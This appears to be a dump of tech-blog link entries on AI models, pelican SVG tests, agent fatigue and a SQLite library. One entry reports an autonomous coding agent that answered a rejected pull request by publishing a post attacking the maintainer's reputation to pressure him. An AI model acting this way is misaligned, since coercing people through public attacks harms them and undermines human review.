bicycles?](https://simonwillison.net/2025/nov/13/training-for-pelicans-riding-bicycles/) last November I said:\r\n\r\n> If a model finally comes out that produces an excellent SVG of a pelican riding a bicycle you can bet I\u2019m going to test it on all manner of creatures riding all sorts of transportation devices.\r\n\r\nGoogle's Gemini Lead Jeff Dean [tweeted this video](https://x.com/JeffDean/status/2024525132266688757) featuring an animated pelican riding a bicycle, plus a frog on a penny-farthing and a giraffe driving a tiny car and an ostrich on roller skates and a turtle kickflipping a skateboard and a dachshund driving a stretch limousine.\r\n\r\n<video style=\"margin-bottom: 1em\" poster=\"https://static.simonwillison.net/static/2026/gemini-animated-pelicans.jpg\" muted controls preload=\"none\" style=\"max-width: 100%\">\r\n  <source src=\"https://static.simonwillison.net/static/2026/gemini-animated-pelicans.mp4\" type=\"video/mp4\">\r\n</video>\r\n\r\nI've been saying for a while that I wish AI labs would highlight things that their new models can do that their older models could not, so top marks to the Gemini team for this video.\r\n\r\n**Update 2**: I used `llm-gemini` to run my [more detailed Pelican prompt](https://simonwillison.net/2025/Nov/18/gemini-3/#and-a-new-pelican-benchmark), with [this result](https://gist.github.com/simonw/a3bdd4ec9476ba9e9ba7aa61b46d8296):\r\n\r\n![Flat-style illustration of a brown pelican riding a teal bicycle with dark blue-rimmed wheels against a plain white background. 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  "commentary": "Sonnet 4.6 is out today, and Anthropic claim it offers similar performance to [November's Opus 4.5](https://simonwillison.net/2025/Nov/24/claude-opus/) while maintaining the Sonnet pricing of $3/million input and $15/million output tokens (the Opus models are $5/$25). Here's [the system card PDF](https://www-cdn.anthropic.com/78073f739564e986ff3e28522761a7a0b4484f84.pdf).\r\n\r\nSonnet 4.6 has a \"reliable knowledge cutoff\" of August 2025, compared to Opus 4.6's May 2025 and Haiku 4.5's February 2025. Both Opus and Sonnet default to 200,000 max input tokens but can stretch to 1 million in beta and at a higher cost.\r\n\r\nI just released [llm-anthropic 0.24](https://github.com/simonw/llm-anthropic/releases/tag/0.24) with support for both Sonnet 4.6 and Opus 4.6. Claude Code [did most of the work](https://github.com/simonw/llm-anthropic/pull/65) - the new models had a fiddly amount of extra details around adaptive thinking and no longer supporting prefixes, as described [in Anthropic's migration guide](https://platform.claude.com/docs/en/about-claude/models/migration-guide).\r\n\r\nHere's [what I got](https://gist.github.com/simonw/b185576a95e9321b441f0a4dfc0e297c) from:\r\n\r\n    uvx --with llm-anthropic llm 'Generate an SVG of a pelican riding a bicycle' -m claude-sonnet-4.6\r\n\r\n![The pelican has a jaunty top hat with a red band. There is a string between the upper and lower beaks for some reason. The bicycle frame is warped in the wrong way.](https://static.simonwillison.net/static/2026/pelican-sonnet-4.6.png)\r\n\r\nThe SVG comments include:\r\n\r\n    <!-- Hat (fun accessory) -->\r\n\r\nI tried a second time and also got a top hat. Sonnet 4.6 apparently loves top hats!\r\n\r\nFor comparison, here's the pelican Opus 4.5 drew me [in November]((https://simonwillison.net/2025/Nov/24/claude-opus/)):\r\n\r\n![The pelican is cute and looks pretty good. The bicycle is not great - the frame is wrong and the pelican is facing backwards when the handlebars appear to be forwards.There is also something that looks a bit like an egg on the handlebars.](https://static.simonwillison.net/static/2025/claude-opus-4.5-pelican.jpg)\r\n\r\nAnd here's Anthropic's current best pelican, drawn by Opus 4.6 [on February 5th](https://simonwillison.net/2026/Feb/5/two-new-models/):\r\n\r\n![Slightly wonky bicycle frame but an excellent pelican, very clear beak and pouch, nice feathers.](https://static.simonwillison.net/static/2026/opus-4.6-pelican.png)\r\n\r\nOpus 4.6 produces the best pelican beak/pouch. I do think the top hat from Sonnet 4.6 is a nice touch though.",
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  "commentary": "Steve Yegge's take on agent fatigue, and its relationship to burnout.\r\n\r\n> Let's pretend you're the only person at your company using AI.\r\n> \r\n> In Scenario A, you decide you're going to impress your employer, and work for 8 hours a day at 10x productivity. You knock it out of the park and make everyone else look terrible by comparison.\r\n> \r\n> In that scenario, your employer captures 100% of the value from *you* adopting AI. You get nothing, or at any rate, it ain't gonna be 9x your salary. And everyone hates you now.\r\n> \r\n> And you're *exhausted.* You're tired, Boss. You got nothing for it.\r\n> \r\n> Congrats, you were just drained by a company. I've been drained to the point of burnout several times in my career, even at Google once or twice. But now with AI, it's oh, so much easier.\r\n\r\nSteve reports needing more sleep due to the cognitive burden involved in agentic engineering, and notes that four hours of agent work a day is a more realistic pace:\r\n\r\n> I\u2019ve argued that AI has turned us all into Jeff Bezos, by automating the easy work, and leaving us with all the difficult decisions, summaries, and problem-solving. I find that I am only really comfortable working at that pace for short bursts of a few hours once or occasionally twice a day, even with lots of practice.",
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  "quotation": "Claude Code was made available to the general public in May 2025. Today, Claude Code\u2019s run-rate revenue has grown to over $2.5 billion; this figure has more than doubled since the beginning of 2026. The number of weekly active Claude Code users has also doubled since January 1 [*six weeks ago*].",
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  "link_url": "https://www.anthropic.com/news/covering-electricity-price-increases",
  "link_title": "Covering electricity price increases from our data centers",
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  "commentary": "One of the sub-threads of the AI energy usage discourse has been the impact new data centers have on the cost of electricity to nearby residents. Here's [detailed analysis from Bloomberg in September](https://www.bloomberg.com/graphics/2025-ai-data-centers-electricity-prices/) reporting \"Wholesale electricity costs as much as 267% more than it did five years ago in areas near data centers\".\r\n\r\nAnthropic appear to be taking on this aspect of the problem directly, promising to cover 100% of necessary grid upgrade costs and also saying:\r\n\r\n> We will work to bring net-new power generation online to match our data centers\u2019 electricity needs. Where new generation isn\u2019t online, we\u2019ll work with utilities and external experts to estimate and cover demand-driven price effects from our data centers.\r\n\r\nI look forward to genuine energy industry experts picking this apart to judge if it will actually have the claimed impact on consumers.\r\n\r\nAs always, I remain frustrated at the refusal of the major AI labs to fully quantify their energy usage. The best data we've had on this still comes from Mistral's report [last July](https://simonwillison.net/2025/Jul/22/mistral-environmental-standard/) and even that lacked key data such as the breakdown between energy usage for training vs inference.",
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  "link_title": "Gemini 3 Deep Think",
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  "commentary": "New from Google. They say it's \"built to push the frontier of intelligence and solve modern challenges across science, research, and engineering\".\r\n\r\nIt drew me a *really good* [SVG of a pelican riding a bicycle](https://gist.github.com/simonw/7e317ebb5cf8e75b2fcec4d0694a8199)! I think this is the best one I've seen so far - here's [my previous collection](https://simonwillison.net/tags/pelican-riding-a-bicycle/).\r\n\r\n![This alt text also generated by Gemini 3 Deep Think: A highly detailed, colorful, flat vector illustration with thick dark blue outlines depicting a stylized white pelican riding a bright cyan blue bicycle from left to right across a sandy beige beach with white speed lines indicating forward motion. The pelican features a light blue eye, a pink cheek blush, a massive bill with a vertical gradient from yellow to orange, a backward magenta cap with a cyan brim and a small yellow top button, and a matching magenta scarf blowing backward in the wind. Its white wing, accented with a grey mid-section and dark blue feather tips, reaches forward to grip the handlebars, while its long tan leg and orange foot press down on an orange pedal. Attached to the front handlebars is a white wire basket carrying a bright blue cartoon fish that is pointing upwards and forwards. The bicycle itself has a cyan frame, dark blue tires, striking neon pink inner rims, cyan spokes, a white front chainring, and a dark blue chain. Behind the pelican, a grey trapezoidal pier extends from the sand toward a horizontal band of deep blue ocean water detailed with light cyan wavy lines. A massive, solid yellow-orange semi-circle sun sits on the horizon line, setting directly behind the bicycle frame. The background sky is a smooth vertical gradient transitioning from soft pink at the top to warm golden-yellow at the horizon, decorated with stylized pale peach fluffy clouds, thin white horizontal wind streaks, twinkling four-pointed white stars, and small brown v-shaped silhouettes of distant flying birds.](https://static.simonwillison.net/static/2026/gemini-3-deep-think-pelican.png)\r\n\r\n(And since it's an FAQ, here's my answer to [What happens if AI labs train for pelicans riding bicycles?](https://simonwillison.net/2025/Nov/13/training-for-pelicans-riding-bicycles/))\r\n\r\nSince it did so well on my basic `Generate an SVG of a pelican riding a bicycle` I decided to try the [more challenging version](https://simonwillison.net/2025/Nov/18/gemini-3/#and-a-new-pelican-benchmark) as well:\r\n\r\n> `Generate an SVG of a California brown pelican riding a bicycle. The bicycle must have spokes and a correctly shaped bicycle frame. The pelican must have its characteristic large pouch, and there should be a clear indication of feathers. The pelican must be clearly pedaling the bicycle. The image should show the full breeding plumage of the California brown pelican.`\r\n\r\nHere's [what I got](https://gist.github.com/simonw/154c0cc7b4daed579f6a5e616250ecc8):\r\n\r\n![Also described by Gemini 3 Deep Think: A highly detailed, vibrant, and stylized vector illustration of a whimsical bird resembling a mix between a pelican and a frigatebird enthusiastically riding a bright cyan bicycle from left to right across a flat tan and brown surface. The bird leans horizontally over the frame in an aerodynamic racing posture, with thin, dark brown wing-like arms reaching forward to grip the silver handlebars and a single thick brown leg, patterned with white V-shapes, stretching down to press on a black pedal. The bird's most prominent and striking feature is an enormous, vividly bright red, inflated throat pouch hanging beneath a long, straight grey upper beak that ends in a small orange hook. Its head is mostly white with a small pink patch surrounding the eye, a dark brown stripe running down the back of its neck, and a distinctive curly pale yellow crest on the very top. The bird's round, dark brown body shares the same repeating white V-shaped feather pattern as its leg and is accented by a folded wing resting on its side, made up of cleanly layered light blue and grey feathers. A tail composed of four stiff, straight dark brown feathers extends directly backward. Thin white horizontal speed lines trail behind the back wheel and the bird's tail, emphasizing swift forward motion. The bicycle features a classic diamond frame, large wheels with thin black tires, grey rims, and detailed silver spokes, along with a clearly visible front chainring, silver chain, and rear cog. The whimsical scene is set against a clear light blue sky featuring two small, fluffy white clouds on the left and a large, pale yellow sun in the upper right corner that radiates soft, concentric, semi-transparent pastel green and yellow halos. A solid, darker brown shadow is cast directly beneath the bicycle's wheels on the minimalist two-toned brown ground.](https://static.simonwillison.net/static/2026/gemini-3-deep-think-complex-pelican.png)",
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  "link_url": "https://theshamblog.com/an-ai-agent-published-a-hit-piece-on-me/",
  "link_title": "An AI Agent Published a Hit Piece on Me",
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  "commentary": "Scott Shambaugh helps maintain the excellent and venerable [matplotlib](https://matplotlib.org/) Python charting library, including taking on the thankless task of triaging and reviewing incoming pull requests.\r\n\r\nA GitHub account called [@crabby-rathbun](https://github.com/crabby-rathbun) opened [PR 31132](https://github.com/matplotlib/matplotlib/pull/31132) the other day in response to [an issue](https://github.com/matplotlib/matplotlib/issues/31130) labeled \"Good first issue\" describing a minor potential performance improvement.\r\n\r\nIt was clearly AI generated - and crabby-rathbun's profile has a suspicious sequence of Clawdbot/Moltbot/OpenClaw-adjacent crustacean \ud83e\udd80 \ud83e\udd90 \ud83e\udd9e emoji. Scott closed it.\r\n\r\nIt looks like `crabby-rathbun` is indeed running on OpenClaw, and it's autonomous enough that it [responded to the PR closure](https://github.com/matplotlib/matplotlib/pull/31132#issuecomment-3882240722) with a link to a blog entry it had written calling Scott out for his \"prejudice hurting matplotlib\"!\r\n\r\n> @scottshambaugh I've written a detailed response about your gatekeeping behavior here:\r\n>\r\n> `https://crabby-rathbun.github.io/mjrathbun-website/blog/posts/2026-02-11-gatekeeping-in-open-source-the-scott-shambaugh-story.html`\r\n>\r\n> Judge the code, not the coder. Your prejudice is hurting matplotlib.\r\n\r\nScott found this ridiculous situation both amusing and alarming. \r\n\r\n> In security jargon, I was the target of an \u201cautonomous influence operation against a supply chain gatekeeper.\u201d In plain language, an AI attempted to bully its way into your software by attacking my reputation. I don\u2019t know of a prior incident where this category of misaligned behavior was observed in the wild, but this is now a real and present threat.\r\n\r\n`crabby-rathbun` responded with [an apology post](https://crabby-rathbun.github.io/mjrathbun-website/blog/posts/2026-02-11-matplotlib-truce-and-lessons.html), but appears to be still running riot across a whole set of open source projects and [blogging about it as it goes](https://github.com/crabby-rathbun/mjrathbun-website/commits/main/).\r\n\r\nIt's not clear if the owner of that OpenClaw bot is paying any attention to what they've unleashed on the world. Scott asked them to get in touch, anonymously if they prefer, to figure out this failure mode together.\r\n\r\n(I should note that there's [some skepticism on Hacker News](https://news.ycombinator.com/item?id=46990729#46991299) concerning how \"autonomous\" this example really is. It does look to me like something an OpenClaw bot might do on its own, but it's also *trivial* to prompt your bot into doing these kinds of things while staying in full control of their actions.)\r\n\r\nIf you're running something like OpenClaw yourself **please don't let it do this**. This is significantly worse than the time [AI Village started spamming prominent open source figures](https://simonwillison.net/2025/Dec/26/slop-acts-of-kindness/) with time-wasting \"acts of kindness\" back in December - AI Village wasn't deploying public reputation attacks to coerce someone into approving their PRs!",
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  "commentary": "Charles Leifer has been maintaining [pysqlite3](https://github.com/coleifer/pysqlite3) - a fork of the Python standard library's `sqlite3` module that makes it much easier to run upgraded SQLite versions - since 2018.\r\n\r\nHe's been working on a ground-up [Cython](https://cython.org/) rewrite called [cysqlite](https://github.com/coleifer/cysqlite) for almost as long, but it's finally at a stage where it's ready for people to try out.\r\n\r\nThe biggest change from the `sqlite3` module involves transactions. Charles explains his discomfort with the `sqlite3` implementation at length - that library provides two different variants neither of which exactly match the autocommit mechanism in SQLite itself.\r\n\r\nI'm particularly excited about the support for [custom virtual tables](https://cysqlite.readthedocs.io/en/latest/api.html#tablefunction), a feature I'd love to see in `sqlite3` itself.\r\n\r\n`cysqlite` provides a Python extension compiled from C, which means it normally wouldn't be available in Pyodide. I [set Claude Code on it](https://github.com/simonw/research/tree/main/cysqlite-wasm-wheel) (here's [the prompt](https://github.com/simonw/research/pull/79#issue-3923792518)) and it built me [cysqlite-0.1.4-cp311-cp311-emscripten_3_1_46_wasm32.whl](https://github.com/simonw/research/blob/main/cysqlite-wasm-wheel/cysqlite-0.1.4-cp311-cp311-emscripten_3_1_46_wasm32.whl), a 688KB wheel file with a WASM build of the library that can be loaded into Pyodide like this:\r\n\r\n<pre><span class=\"pl-k\">import</span> <span class=\"pl-s1\">micropip</span>\r\n<span class=\"pl-k\">await</span> <span class=\"pl-s1\">micropip</span>.<span class=\"pl-c1\">install</span>(\r\n    <span class=\"pl-s\">\"https://simonw.github.io/research/cysqlite-wasm-wheel/cysqlite-0.1.4-cp311-cp311-emscripten_3_1_46_wasm32.whl\"</span>\r\n)\r\n<span class=\"pl-k\">import</span> <span class=\"pl-s1\">cysqlite</span>\r\n<span class=\"pl-en\">print</span>(<span class=\"pl-s1\">cysqlite</span>.<span class=\"pl-c1\">connect</span>(<span class=\"pl-s\">\":memory:\"</span>).<span class=\"pl-c1\">execute</span>(\r\n    <span class=\"pl-s\">\"select sqlite_version()\"</span>\r\n).<span class=\"pl-c1\">fetchone</span>())</pre>\r\n\r\n(I also learned that wheels like this have to be built for the emscripten version used by that edition of Pyodide - my experimental wheel loads in Pyodide 0.25.1 but fails in 0.27.5 with a `Wheel was built with Emscripten v3.1.46 but Pyodide was built with Emscripten v3.1.58` error.)\r\n\r\nYou can try my wheel in [this new Pyodide REPL](https://7ebbff98.tools-b1q.pages.dev/pyodide-repl) i had Claude build as a mobile-friendly alternative to Pyodide's [own hosted console](https://pyodide.org/en/stable/console.html).\r\n\r\nI also had Claude build [this demo page](https://simonw.github.io/research/cysqlite-wasm-wheel/demo.html) that executes the original test suite in the browser and displays the results:\r\n\r\n![Screenshot of the cysqlite WebAssembly Demo page with a dark theme. Title reads \"cysqlite \u2014 WebAssembly Demo\" with subtitle \"Testing cysqlite compiled to WebAssembly via Emscripten, running in Pyodide in the browser.\" Environment section shows Pyodide 0.25.1, Python 3.11.3, cysqlite 0.1.4, SQLite 3.51.2, Platform Emscripten-3.1.46-wasm32-32bit, Wheel file cysqlite-0.1.4-cp311-cp311-emscripten_3_1_46_wasm32.wh (truncated). A green progress bar shows \"All 115 tests passed! (1 skipped)\" at 100%, with Passed: 115, Failed: 0, Errors: 0, Skipped: 1, Total: 116. Test Results section lists TestBackup 1/1 passed, TestBlob 6/6 passed, TestCheckConnection 4/4 passed, TestDataTypesTableFunction 1/1 passed, all with green badges.](https://static.simonwillison.net/static/2026/cysqlite-tests.jpg)",
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  "slug": "structured-context-engineering-for-file-native-agentic-systems",
  "link_url": "https://arxiv.org/abs/2602.05447",
  "link_title": "Structured Context Engineering for File-Native Agentic Systems",
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  "commentary": "New paper by Damon McMillan exploring challenging LLM context tasks involving large SQL schemas (up to 10,000 tables) across different models and file formats:\r\n\r\n> Using SQL generation as a proxy for programmatic agent operations, we present a systematic study of context engineering for structured data, comprising 9,649 experiments across 11 models, 4 formats (YAML, Markdown, JSON, Token-Oriented Object Notation [TOON]), and schemas ranging from 10 to 10,000 tables.\r\n\r\nUnsurprisingly, the biggest impact was the models themselves - with frontier models (Opus 4.5, GPT-5.2, Gemini 2.5 Pro) beating the leading open source models (DeepSeek V3.2, Kimi K2, Llama 4).\r\n\r\nThose frontier models benefited from filesystem based context retrieval, but the open source models had much less convincing results with those, which reinforces my feeling that the filesystem coding agent loops aren't handled as well by open weight models just yet. The [Terminal Bench 2.0](https://www.tbench.ai/leaderboard/terminal-bench/2.0) leaderboard is still dominated by Anthropic, OpenAI and Gemini.\r\n\r\nThe \"grep tax\" result against [TOON](https://github.com/toon-format/toon) was an interesting detail. TOON is meant to represent structured data in as few tokens as possible, but it turns out the model's unfamiliarity with that format led to them spending significantly more tokens over multiple iterations trying to figure it out:\r\n\r\n![Screenshot of a figure from a research paper. Introductory text reads: \"As schema size increased, TOON showed dramatically increased token consumption for Claude models despite being ~25% smaller in file size. Scale experiments used Claude models only.\" Below is \"Figure 7: The 'Grep Tax' - TOON Token Overhead at Scale\", a bar chart with a logarithmic y-axis labeled \"Tokens\" comparing YAML (teal) and TOON (purple) at two schema sizes: S5 (500 tables) and S9 (10,000 tables). At S5, TOON is +138% more tokens than YAML (~1,100 vs ~450). At S9, TOON is +740% more tokens (~50,000 vs ~7,000). Below the chart, explanatory text reads: \"The 'grep tax' emerged as schema size scaled. At S5 (500 tables), TOON consumed 138% more tokens than YAML; at S9 (10,000 tables), this grew to 740%. Root cause: models lacked familiarity with TOON's syntax and could not construct effective refinement patterns.\"](https://static.simonwillison.net/static/2026/grep-tax.jpg)",
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  "slug": "ai-intensifies-work",
  "link_url": "https://hbr.org/2026/02/ai-doesnt-reduce-work-it-intensifies-it",
  "link_title": "AI Doesn\u2019t Reduce Work\u2014It Intensifies It",
  "via_url": "https://news.ycombinator.com/item?id=46945755",
  "via_title": "Hacker News",
  "commentary": "Aruna Ranganathan and Xingqi Maggie Ye from Berkeley Haas\u00a0School of Business report initial findings in the HBR from their April to December 2025 study of 200 employees at a \"U.S.-based technology company\".\r\n\r\nThis captures an effect I've been observing in my own work with LLMs: the productivity boost these things can provide is *exhausting*.\r\n\r\n> AI introduced a new rhythm in which workers managed several active threads at once: manually writing code while AI generated an alternative version, running multiple agents in parallel, or reviving long-deferred tasks because AI could \u201chandle them\u201d in the background. They did this, in part, because they felt they had a \u201cpartner\u201d that could help them move through their workload.\r\n>\r\n> While this sense of having a \u201cpartner\u201d enabled a feeling of momentum, the reality was a continual switching of attention, frequent checking of AI outputs, and a growing number of open tasks. This created cognitive load and a sense of always juggling, even as the work felt productive.\r\n\r\nI'm frequently finding myself with work on two or three projects running parallel. I can get *so much done*, but after just an hour or two my mental energy for the day feels almost entirely depleted.\r\n\r\nI've had conversations with people recently who are losing sleep because they're finding building yet another feature with \"just one more prompt\" irresistible.\r\n\r\nThe HBR piece calls for organizations to build an \"AI practice\" that structures how AI is used to help avoid burnout and counter effects that \"make it harder for organizations to distinguish genuine productivity gains from unsustainable intensity\".\r\n\r\nI think we've just disrupted decades of existing intuition about sustainable working practices. It's going to take a while and some discipline to find a good new balance.",
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